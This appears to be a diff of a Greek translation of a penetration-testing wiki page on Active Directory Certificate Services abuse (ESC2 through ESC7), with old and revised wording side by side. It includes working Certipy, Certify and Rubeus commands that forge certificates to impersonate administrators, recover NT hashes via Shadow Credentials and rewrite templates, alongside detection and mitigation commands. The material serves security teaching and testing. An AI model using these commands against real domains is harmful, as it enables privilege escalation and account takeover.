(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -71,47 +71,47 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
|
||||
|
||||
Το δεύτερο σενάριο κατάχρησης είναι μια παραλλαγή του πρώτου:
|
||||
|
||||
1. Δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.
|
||||
2. Η απαίτηση για έγκριση από manager είναι απενεργοποιημένη.
|
||||
1. Τα δικαιώματα εγγραφής (enrollment) χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.
|
||||
2. Η απαίτηση έγκρισης από manager έχει απενεργοποιηθεί.
|
||||
3. Η ανάγκη για εξουσιοδοτημένες υπογραφές παραλείπεται.
|
||||
4. Ένας υπερβολικά επιεικής security descriptor στο πρότυπο πιστοποιητικού χορηγεί δικαιώματα εγγραφής πιστοποιητικών σε χρήστες με χαμηλά προνόμια.
|
||||
5. **Το πρότυπο πιστοποιητικού ορίζεται ώστε να περιλαμβάνει το Any Purpose EKU ή να μην έχει EKU.**
|
||||
5. **Το πρότυπο πιστοποιητικού ορίζεται να περιλαμβάνει το Any Purpose EKU ή no EKU.**
|
||||
|
||||
Το **Any Purpose EKU** επιτρέπει σε έναν attacker να αποκτήσει ένα πιστοποιητικό για **οποιονδήποτε σκοπό**, συμπεριλαμβανομένης της client authentication, server authentication, code signing, κ.λπ. Η ίδια **τεχνική που χρησιμοποιείται για το ESC3** μπορεί να χρησιμοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
|
||||
Το **Any Purpose EKU** επιτρέπει σε έναν επιτιθέμενο να αποκτήσει ένα πιστοποιητικό για **οποιονδήποτε σκοπό**, συμπεριλαμβανομένης της client authentication, server authentication, code signing, κ.λπ. Η ίδια τεχνική που χρησιμοποιείται για το **ESC3** μπορεί να αξιοποιηθεί για την εκμετάλλευση αυτού του σεναρίου.
|
||||
|
||||
Πιστοποιητικά χωρίς **EKUs**, που λειτουργούν ως subordinate CA certificates, μπορούν να εκμεταλλευτούν για **οποιονδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Συνεπώς, ένας attacker θα μπορούσε να καθορίσει αυθαίρετα EKUs ή πεδία στα νέα πιστοποιητικά αξιοποιώντας ένα subordinate CA certificate.
|
||||
Πιστοποιητικά με **no EKUs**, τα οποία λειτουργούν ως subordinate CA certificates, μπορούν να εκμεταλλευτούν για **οποιονδήποτε σκοπό** και μπορούν **επίσης να χρησιμοποιηθούν για την υπογραφή νέων πιστοποιητικών**. Συνεπώς, ένας επιτιθέμενος θα μπορούσε να καθορίσει αυθαίρετα EKUs ή άλλα πεδία στα νέα πιστοποιητικά αξιοποιώντας ένα subordinate CA certificate.
|
||||
|
||||
Ωστόσο, νέα πιστοποιητικά που δημιουργούνται για **domain authentication** δεν θα λειτουργήσουν αν το subordinate CA δεν εμπιστεύεται από το αντικείμενο **`NTAuthCertificates`**, που είναι η προεπιλεγμένη ρύθμιση. Παρ' όλα αυτά, ένας attacker μπορεί ακόμη να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικών. Αυτά θα μπορούσαν δυνητικά να **κακοποιηθούν** για ένα ευρύ φάσμα σκοπών (π.χ., code signing, server authentication, κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS, ή IPSec.
|
||||
Ωστόσο, νέα πιστοποιητικά που δημιουργούνται για **domain authentication** δεν θα λειτουργήσουν εάν το subordinate CA δεν εμπιστεύεται από το αντικείμενο **`NTAuthCertificates`**, που είναι η προεπιλεγμένη ρύθμιση. Παρ’ όλα αυτά, ένας επιτιθέμενος μπορεί να δημιουργήσει **νέα πιστοποιητικά με οποιοδήποτε EKU** και αυθαίρετες τιμές πιστοποιητικού. Αυτά θα μπορούσαν να **κακοχρησιμοποιηθούν** για μεγάλο εύρος σκοπών (π.χ. code signing, server authentication, κ.λπ.) και θα μπορούσαν να έχουν σημαντικές επιπτώσεις για άλλες εφαρμογές στο δίκτυο όπως SAML, AD FS, ή IPSec.
|
||||
|
||||
Για να απαριθμήσετε πρότυπα που ταιριάζουν με αυτό το σενάριο εντός του configuration schema του AD Forest, μπορεί να εκτελεστεί το παρακάτω LDAP query:
|
||||
Για να απαριθμήσετε τα πρότυπα που ταιριάζουν με αυτό το σενάριο μέσα στο configuration schema του AD Forest, μπορείτε να εκτελέσετε το ακόλουθο LDAP query:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
|
||||
```
|
||||
## Λανθασμένα διαμορφωμένα πρότυπα Enrollment Agent - ESC3
|
||||
## Λανθασμένα ρυθμισμένα Enrolment Agent Templates - ESC3
|
||||
|
||||
### Εξήγηση
|
||||
### Επεξήγηση
|
||||
|
||||
Αυτό το σενάριο είναι όπως το πρώτο και το δεύτερο αλλά **καταχράται** ένα **διαφορετικό EKU** (Certificate Request Agent) και **2 διαφορετικά templates** (άρα έχει 2 σετ προαπαιτήσεων),
|
||||
Αυτό το σενάριο είναι σαν το πρώτο και το δεύτερο αλλά με **κατάχρηση** ενός **διαφορετικού EKU** (Certificate Request Agent) και **2 διαφορετικά templates** (οπότε έχει 2 σετ απαιτήσεων),
|
||||
|
||||
Το **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Enrollment Agent** στη τεκμηρίωση της Microsoft, επιτρέπει σε ένα principal να **enroll** για ένα **certificate** **εκ μέρους άλλου χρήστη**.
|
||||
Το **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), γνωστό ως **Enrollment Agent** στην τεκμηρίωση της Microsoft, επιτρέπει σε έναν principal να **enroll** για ένα **certificate** εκ μέρους άλλου χρήστη.
|
||||
|
||||
Ο **“enrollment agent”** πραγματοποιεί enroll σε τέτοιο **template** και χρησιμοποιεί το προκύπτον **certificate για να co-sign ένα CSR εκ μέρους του άλλου χρήστη**. Έπειτα **στέλνει** το **co-signed CSR** στην CA, κάνοντας enroll σε ένα **template** που **επιτρέπει “enroll on behalf of”**, και η CA απαντά με ένα **certificate που ανήκει στον “άλλο” χρήστη**.
|
||||
Ο **“enrollment agent”** εγγράφεται σε τέτοιο **template** και χρησιμοποιεί το προκύπτον **certificate** για να co-sign ένα CSR εκ μέρους του άλλου χρήστη. Στη συνέχεια **στέλνει** το **co-signed CSR** στην CA, εγγράφεται σε ένα **template** που **επιτρέπει “enroll on behalf of”**, και η CA απαντά με ένα **certificate** που ανήκει στον “άλλο” χρήστη.
|
||||
|
||||
**Απαιτήσεις 1:**
|
||||
|
||||
- Enrollment rights χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.
|
||||
- Η απαίτηση για έγκριση από manager έχει παραληφθεί.
|
||||
- Καμία απαίτηση για εξουσιοδοτημένες υπογραφές.
|
||||
- Ο security descriptor του certificate template είναι υπερβολικά επιεικής, χορηγώντας enrollment rights σε χρήστες με χαμηλά προνόμια.
|
||||
- Enrollment rights δίνονται σε low-privileged users από την Enterprise CA.
|
||||
- Η απαίτηση για manager approval παραλείπεται.
|
||||
- Δεν υπάρχει απαίτηση για authorized signatures.
|
||||
- Ο security descriptor του certificate template είναι υπερβολικά επιεικής, δίνοντας enrollment rights σε low-privileged users.
|
||||
- Το certificate template περιλαμβάνει το Certificate Request Agent EKU, επιτρέποντας το αίτημα άλλων certificate templates εκ μέρους άλλων principals.
|
||||
|
||||
**Απαιτήσεις 2:**
|
||||
|
||||
- Η Enterprise CA χορηγεί enrollment rights σε χρήστες με χαμηλά προνόμια.
|
||||
- Η έγκριση από manager παρακάμπτεται.
|
||||
- Η έκδοση σχήματος (schema version) του template είναι είτε 1 είτε μεγαλύτερη του 2, και καθορίζει ένα Application Policy Issuance Requirement που απαιτεί το Certificate Request Agent EKU.
|
||||
- Ένα EKU που ορίζεται στο certificate template επιτρέπει domain authentication.
|
||||
- Δεν εφαρμόζονται περιορισμοί για enrollment agents στην CA.
|
||||
- Η Enterprise CA δίνει enrollment rights σε low-privileged users.
|
||||
- Η manager approval παρακαμπτόταν.
|
||||
- Η schema version του template είναι είτε 1 είτε μεγαλύτερη του 2, και καθορίζει ένα Application Policy Issuance Requirement που απαιτεί το Certificate Request Agent EKU.
|
||||
- Ένα EKU ορισμένο στο certificate template επιτρέπει domain authentication.
|
||||
- Περιορισμοί για enrollment agents δεν εφαρμόζονται στην CA.
|
||||
|
||||
### Κατάχρηση
|
||||
|
||||
@ -129,46 +129,42 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Οι **χρήστες** που επιτρέπεται να **αποκτήσουν** ένα **πιστοποιητικό πράκτορα εγγραφής**, τα πρότυπα στα οποία οι πράκτορες **έχουν δικαίωμα εγγραφής**, και οι **λογαριασμοί** εκ μέρους των οποίων ο πράκτορας εγγραφής μπορεί να ενεργεί μπορούν να περιοριστούν από τις enterprise CAs. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` snap-in, κάνοντας **δεξί κλικ στην CA**, **κλικάροντας Properties**, και στη συνέχεια **πλοηγούμενοι** στην καρτέλα “Enrollment Agents”.
|
||||
Οι χρήστες που επιτρέπεται να αποκτήσουν ένα enrollment agent certificate, τα templates στα οποία οι enrollment agents έχουν δικαίωμα εγγραφής, και οι accounts εκ μέρους των οποίων μπορεί να δράσει ο enrollment agent μπορούν να περιοριστούν από enterprise CAs. Αυτό επιτυγχάνεται ανοίγοντας το `certsrc.msc` snap-in, κάνοντας δεξί κλικ στην CA, επιλέγοντας Properties και στη συνέχεια μεταβαίνοντας στην καρτέλα “Enrollment Agents”.
|
||||
|
||||
Ωστόσο, σημειώνεται ότι η **προεπιλεγμένη** ρύθμιση για τις CAs είναι “**Do not restrict enrollment agents**.” Όταν ο περιορισμός στους πράκτορες εγγραφής ενεργοποιηθεί από τους διαχειριστές, ορίζοντάς τον σε “Restrict enrollment agents,” η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιεικής. Επιτρέπει στο **Everyone** πρόσβαση για εγγραφή σε όλα τα πρότυπα ως οποιοσδήποτε.
|
||||
Ωστόσο, σημειώνεται ότι η προεπιλεγμένη ρύθμιση για τις CAs είναι “Do not restrict enrollment agents.” Όταν οι διαχειριστές ενεργοποιούν τον περιορισμό στους enrollment agents, ρυθμίζοντάς τον σε “Restrict enrollment agents”, η προεπιλεγμένη διαμόρφωση παραμένει εξαιρετικά επιεικής. Επιτρέπει στο Everyone να εγγραφεί σε όλα τα templates ως οποιοσδήποτε.
|
||||
|
||||
## Επιρρεπής Έλεγχος Πρόσβασης Προτύπου Πιστοποιητικού - ESC4
|
||||
## Vulnerable Certificate Template Access Control - ESC4
|
||||
|
||||
### **Επεξήγηση**
|
||||
### **Explanation**
|
||||
|
||||
Ο **security descriptor** σε **certificate templates** καθορίζει τα **permissions** που έχουν συγκεκριμένοι **AD principals** σχετικά με το πρότυπο.
|
||||
Ο security descriptor σε certificate templates ορίζει τα permissions που κατέχουν συγκεκριμένα AD principals σχετικά με το template.
|
||||
|
||||
Εάν ένας **επιτιθέμενος** διαθέτει τα απαιτούμενα **permissions** για να **τροποποιήσει** ένα **template** και να **εγκαταστήσει** οποιεσδήποτε **εκμεταλλεύσιμες κακόδιαμορφώσεις** που περιγράφονται σε **προηγούμενες ενότητες**, μπορεί να διευκολυνθεί η αύξηση προνομίων.
|
||||
Εάν ένας attacker κατέχει τα απαραίτητα permissions για να αλλάξει ένα template και να εισάγει οποιεσδήποτε exploitable misconfigurations που περιγράφονται σε προηγούμενες ενότητες, αυτό μπορεί να διευκολύνει escalation προνομίων.
|
||||
|
||||
Σημαντικά permissions που ισχύουν για certificate templates περιλαμβάνουν:
|
||||
Σημαντικά permissions που εφαρμόζονται σε certificate templates περιλαμβάνουν:
|
||||
|
||||
- **Owner:** Παρέχει έμμεσο έλεγχο του αντικειμένου, επιτρέποντας την τροποποίηση οποιωνδήποτε χαρακτηριστικών.
|
||||
- **FullControl:** Επιτρέπει πλήρη εξουσία επί του αντικειμένου, συμπεριλαμβανομένης της δυνατότητας να αλλάξει οποιαδήποτε χαρακτηριστικά.
|
||||
- **WriteOwner:** Επιτρέπει την αλλαγή του ιδιοκτήτη (owner) του αντικειμένου σε έναν principal υπό τον έλεγχο του επιτιθέμενου.
|
||||
- **WriteDacl:** Επιτρέπει την προσαρμογή των access controls, ενδεχομένως χορηγώντας στον επιτιθέμενο FullControl.
|
||||
- **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε ιδιοτήτων του αντικειμένου.
|
||||
- **Owner:** Χορηγεί έμμεσο έλεγχο πάνω στο αντικείμενο, επιτρέποντας την τροποποίηση οποιωνδήποτε attributes.
|
||||
- **FullControl:** Ενεργοποιεί πλήρη εξουσία πάνω στο αντικείμενο, συμπεριλαμβανομένης της δυνατότητας αλλαγής οποιωνδήποτε attributes.
|
||||
- **WriteOwner:** Επιτρέπει την αλλαγή του owner του αντικειμένου σε έναν principal υπό τον έλεγχο του attacker.
|
||||
- **WriteDacl:** Επιτρέπει την προσαρμογή των access controls, ενδεχομένως δίνοντας σε έναν attacker FullControl.
|
||||
- **WriteProperty:** Εξουσιοδοτεί την επεξεργασία οποιωνδήποτε properties του αντικειμένου.
|
||||
|
||||
### Κατάχρηση
|
||||
### Abuse
|
||||
|
||||
Για να εντοπίσετε τους principals με δικαιώματα επεξεργασίας σε πρότυπα και άλλα PKI αντικείμενα, απαριθμήστε με Certify:
|
||||
Για να εντοπίσετε principals με δικαιώματα επεξεργασίας σε templates και άλλα PKI αντικείμενα, κάντε enumeration με Certify:
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ένα παράδειγμα privesc όπως το προηγούμενο:
|
||||
ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής σε ένα πρότυπο πιστοποιητικού. Αυτό, για παράδειγμα, μπορεί να καταχραστεί ώστε να αντικατασταθεί η διαμόρφωση του προτύπου πιστοποιητικού και να καταστήσει το πρότυπο ευάλωτο σε ESC1.
|
||||
|
||||
ESC4 είναι όταν ένας χρήστης έχει δικαιώματα εγγραφής πάνω σε ένα πρότυπο πιστοποιητικού. Αυτό, για παράδειγμα, μπορεί να καταχραστεί για να αντικαταστήσει τη διαμόρφωση του πρότυπου πιστοποιητικού και να καταστήσει το πρότυπο ευάλωτο σε ESC1.
|
||||
|
||||
Όπως βλέπουμε στη διαδρομή παραπάνω, μόνο ο `JOHNPC` έχει αυτά τα προνόμια, αλλά ο χρήστης μας `JOHN` έχει το νέο `AddKeyCredentialLink` edge προς τον `JOHNPC`.
|
||||
|
||||
Δεδομένου ότι αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω υλοποιήσει και αυτή την επίθεση, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Εδώ μια μικρή προεπισκόπηση της εντολής `shadow auto` του Certipy για την ανάκτηση του NT hash του θύματος.
|
||||
Όπως βλέπουμε στο μονοπάτι πιο πάνω, μόνο `JOHNPC` έχει αυτά τα δικαιώματα, αλλά ο χρήστης μας `JOHN` έχει τη νέα ακμή `AddKeyCredentialLink` προς `JOHNPC`. Επειδή αυτή η τεχνική σχετίζεται με πιστοποιητικά, έχω υλοποιήσει και αυτή την επίθεση, η οποία είναι γνωστή ως [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ιδού μια μικρή επίδειξη της εντολής του Certipy `shadow auto` για την ανάκτηση του NT hash του θύματος.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** μπορεί να overwrite τη διαμόρφωση ενός προτύπου πιστοποιητικού με μία εντολή. Από **default**, το Certipy θα **overwrite** τη διαμόρφωση ώστε να γίνει **vulnerable to ESC1**. Μπορούμε επίσης να ορίσουμε την παράμετρο **`-save-old` για να αποθηκεύσουμε την παλιά διαμόρφωση**, κάτι που θα είναι χρήσιμο για την επαναφορά της διαμόρφωσης μετά την επίθεσή μας.
|
||||
**Certipy** μπορεί να αντικαταστήσει τη διαμόρφωση ενός προτύπου πιστοποιητικού με μία εντολή. Κατά **προεπιλογή**, **Certipy** θα **αντικαταστήσει** τη διαμόρφωση ώστε να γίνει **ευάλωτη σε ESC1**. Μπορούμε επίσης να καθορίσουμε την **`-save-old` παράμετρο για να αποθηκεύσουμε την παλιά διαμόρφωση**, κάτι που θα είναι χρήσιμο για την **επαναφορά** της διαμόρφωσης μετά την επίθεσή μας.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -179,37 +175,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Εύθραυστη πρόσβαση αντικειμένων PKI - ESC5
|
||||
## Ευάλωτος Έλεγχος Πρόσβασης Αντικειμένων PKI - ESC5
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
Ο εκτεταμένος ιστός αλληλοσυνδεόμενων σχέσεων βασισμένων σε ACL, που περιλαμβάνει αρκετά αντικείμενα πέρα από τα certificate templates και την certificate authority, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, τα οποία μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
|
||||
Ο εκτεταμένος ιστός αλληλεπιδραστικών σχέσεων βασισμένων σε ACL, που περιλαμβάνει πολλά αντικείμενα πέρα από τα certificate templates και την certificate authority, μπορεί να επηρεάσει την ασφάλεια ολόκληρου του συστήματος AD CS. Αυτά τα αντικείμενα, που μπορούν να επηρεάσουν σημαντικά την ασφάλεια, περιλαμβάνουν:
|
||||
|
||||
- Το AD computer object του CA server, το οποίο μπορεί να συμβιβαστεί μέσω μηχανισμών όπως S4U2Self ή S4U2Proxy.
|
||||
- Το AD computer object του CA server, το οποίο μπορεί να παραβιαστεί μέσω μηχανισμών όπως S4U2Self ή S4U2Proxy.
|
||||
- Ο RPC/DCOM server του CA server.
|
||||
- Οποιοδήποτε κατώτερο AD object ή container μέσα στη συγκεκριμένη διαδρομή container `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, containers και αντικείμενα όπως το Certificate Templates container, το Certification Authorities container, το NTAuthCertificates object και το Enrollment Services Container.
|
||||
- Οποιοδήποτε κατώτερο AD object ή container μέσα στην ειδική διαδρομή container `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Αυτή η διαδρομή περιλαμβάνει, αλλά δεν περιορίζεται σε, containers και αντικείμενα όπως το Certificate Templates container, το Certification Authorities container, το NTAuthCertificates object και το Enrollment Services Container.
|
||||
|
||||
Η ασφάλεια του PKI συστήματος μπορεί να τεθεί σε κίνδυνο αν ένας επιτιθέμενος με χαμηλά προνόμια καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία.
|
||||
Η ασφάλεια του συστήματος PKI μπορεί να υπονομευθεί εάν ένας χαμηλά εξουσιοδοτημένος επιτιθέμενος καταφέρει να αποκτήσει έλεγχο σε οποιοδήποτε από αυτά τα κρίσιμα στοιχεία.
|
||||
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
Το θέμα που συζητείται στο [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) αγγίζει επίσης τις επιπτώσεις του flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, όπως περιγράφει η Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιείται σε μια Certification Authority (CA), επιτρέπει την εισαγωγή **user-defined values** στο **subject alternative name** για **οποιοδήποτε request**, συμπεριλαμβανομένων αυτών που δημιουργούνται από Active Directory®. Επομένως, αυτή η δυνατότητα επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε template** που έχει ρυθμιστεί για domain **authentication** — συγκεκριμένα αυτών που είναι ανοιχτά για εγγραφή από **μη προνομιούχους** χρήστες, όπως το standard User template. Ως αποτέλεσμα, μπορεί να αποκτηθεί ένα certificate, επιτρέποντας στον εισβολέα να αυθεντικοποιηθεί ως domain administrator ή **οποιαδήποτε άλλη ενεργή οντότητα** στο domain.
|
||||
Το θέμα που συζητείται στο [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) αγγίζει επίσης τις επιπτώσεις της **`EDITF_ATTRIBUTESUBJECTALTNAME2`** σημαίας, όπως περιγράφονται από τη Microsoft. Αυτή η ρύθμιση, όταν ενεργοποιηθεί σε μια Certification Authority (CA), επιτρέπει την εισαγωγή **τιμών ορισμένων από τον χρήστη** στο **subject alternative name** για **οποιοδήποτε request**, συμπεριλαμβανομένων αυτών που κατασκευάζονται από Active Directory®. Κατά συνέπεια, αυτή η δυνατότητα επιτρέπει σε έναν **εισβολέα** να εγγραφεί μέσω **οποιουδήποτε template** ρυθμισμένου για domain **authentication**—συγκεκριμένα αυτών που είναι ανοιχτά για εγγραφή από **unprivileged** χρήστες, όπως το standard User template. Ως αποτέλεσμα, μπορεί να αποκτηθεί ένα πιστοποιητικό που επιτρέπει στον εισβολέα να αυθεντικοποιηθεί ως domain administrator ή **οποιοδήποτε άλλο ενεργό ον** εντός του domain.
|
||||
|
||||
**Σημείωση**: Η μέθοδος για την προσθήκη **alternative names** σε ένα Certificate Signing Request (CSR), μέσω του argument `-attrib "SAN:"` στο `certreq.exe` (αναφερόμενη ως “Name Value Pairs”), παρουσιάζει μια **αντίθεση** με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διαφορά έγκειται στον τρόπο που **οι πληροφορίες του λογαριασμού ενσωματώνονται** — μέσα σε ένα certificate attribute, αντί για ένα extension.
|
||||
**Σημείωση**: Η προσέγγιση για την προσθήκη **alternative names** σε ένα Certificate Signing Request (CSR), μέσω του `-attrib "SAN:"` ορίσματος στο `certreq.exe` (αναφερόμενο ως “Name Value Pairs”), παρουσιάζει μια **διαφορά** σε σχέση με τη στρατηγική εκμετάλλευσης των SANs στο ESC1. Εδώ, η διάκριση έγκειται στο **πώς τα στοιχεία λογαριασμού ενσωματώνονται**—μέσα σε ένα certificate attribute, παρά σε ένα extension.
|
||||
|
||||
### Κατάχρηση
|
||||
|
||||
Για να επαληθεύσουν εάν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την παρακάτω εντολή με `certutil.exe`:
|
||||
Για να επαληθεύσουν αν η ρύθμιση είναι ενεργοποιημένη, οι οργανισμοί μπορούν να χρησιμοποιήσουν την ακόλουθη εντολή με το `certutil.exe`:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
|
||||
```
|
||||
Αυτή η ενέργεια χρησιμοποιεί ουσιαστικά **remote registry access**, επομένως μια εναλλακτική προσέγγιση θα μπορούσε να είναι:
|
||||
Αυτή η λειτουργία ουσιαστικά χρησιμοποιεί **remote registry access**, συνεπώς μια εναλλακτική προσέγγιση μπορεί να είναι:
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
Εργαλεία όπως [**Certify**](https://github.com/GhostPack/Certify) και [**Certipy**](https://github.com/ly4k/Certipy) μπορούν να εντοπίσουν αυτή τη λανθασμένη διαμόρφωση και να την εκμεταλλευτούν:
|
||||
Εργαλεία όπως [**Certify**](https://github.com/GhostPack/Certify) και [**Certipy**](https://github.com/ly4k/Certipy) είναι ικανά να εντοπίσουν αυτή τη λανθασμένη διαμόρφωση και να την εκμεταλλευτούν:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
@ -218,17 +214,17 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Για να τροποποιηθούν αυτές οι ρυθμίσεις, εφόσον κάποιος διαθέτει **δικαιώματα διαχειριστή domain** ή ισοδύναμα, η ακόλουθη εντολή μπορεί να εκτελεστεί από οποιονδήποτε σταθμό εργασίας:
|
||||
Για να αλλάξετε αυτές τις ρυθμίσεις, υπό την προϋπόθεση ότι κάποιος κατέχει δικαιώματα **διαχειριστή τομέα** ή ισοδύναμα, η ακόλουθη εντολή μπορεί να εκτελεστεί από οποιονδήποτε σταθμό εργασίας:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
Για να απενεργοποιήσετε αυτήν τη ρύθμιση στο περιβάλλον σας, το flag μπορεί να αφαιρεθεί με:
|
||||
Για να απενεργοποιήσετε αυτή τη ρύθμιση στο περιβάλλον σας, η σημαία μπορεί να αφαιρεθεί με:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα **certificates** που εκδίδονται πρόσφατα θα περιέχουν ένα **security extension** που ενσωματώνει το **requester's `objectSid` property**. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντικατοπτρίζει το **requester's `objectSid`**, όχι το SAN.\
|
||||
> Για να εκμεταλλευτεί κανείς το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο στο ESC10 (Weak Certificate Mappings), το οποίο προτιμά το **SAN over the new security extension**.
|
||||
> Μετά τις ενημερώσεις ασφαλείας του Μαΐου 2022, τα νεοεκδοθέντα **certificates** θα περιέχουν μια **security extension** που ενσωματώνει την ιδιότητα **requester's `objectSid` property**. Για το ESC1, αυτό το SID προέρχεται από το καθορισμένο SAN. Ωστόσο, για το **ESC6**, το SID αντανακλά το **requester's `objectSid`**, όχι το SAN.\
|
||||
> Για να εκμεταλλευτείτε το ESC6, είναι απαραίτητο το σύστημα να είναι ευάλωτο σε ESC10 (Weak Certificate Mappings), το οποίο προτεραιοποιεί το **SAN over the new security extension**.
|
||||
|
||||
## Vulnerable Certificate Authority Access Control - ESC7
|
||||
|
||||
@ -236,21 +232,21 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
|
||||
|
||||
#### Explanation
|
||||
|
||||
Ο έλεγχος πρόσβασης για μια certificate authority διατηρείται μέσω ενός συνόλου permissions που ρυθμίζουν τις ενέργειες του CA. Αυτά τα permissions μπορούν να προβληθούν ανοίγοντας το `certsrv.msc`, κάνοντας δεξί κλικ σε μια CA, επιλέγοντας properties, και στη συνέχεια πηγαίνοντας στην Security tab. Επιπλέον, τα permissions μπορούν να απαριθμηθούν χρησιμοποιώντας το PSPKI module με εντολές όπως:
|
||||
Ο έλεγχος πρόσβασης για μια certificate authority διατηρείται μέσω ενός συνόλου δικαιωμάτων που καθορίζουν τις ενέργειες της CA. Αυτά τα δικαιώματα μπορούν να προβληθούν ανοίγοντας το `certsrv.msc`, κάνοντας δεξί κλικ σε μια CA, επιλέγοντας Properties, και στη συνέχεια μεταβαίνοντας στην Security tab. Επιπλέον, τα δικαιώματα μπορούν να απαριθμηθούν χρησιμοποιώντας το PSPKI module με εντολές όπως:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Αυτό παρέχει πληροφορίες σχετικά με τα κύρια δικαιώματα, δηλαδή **`ManageCA`** και **`ManageCertificates`**, τα οποία αντιστοιχούν στους ρόλους «Διαχειριστής CA» και «Διαχειριστής Πιστοποιητικών» αντίστοιχα.
|
||||
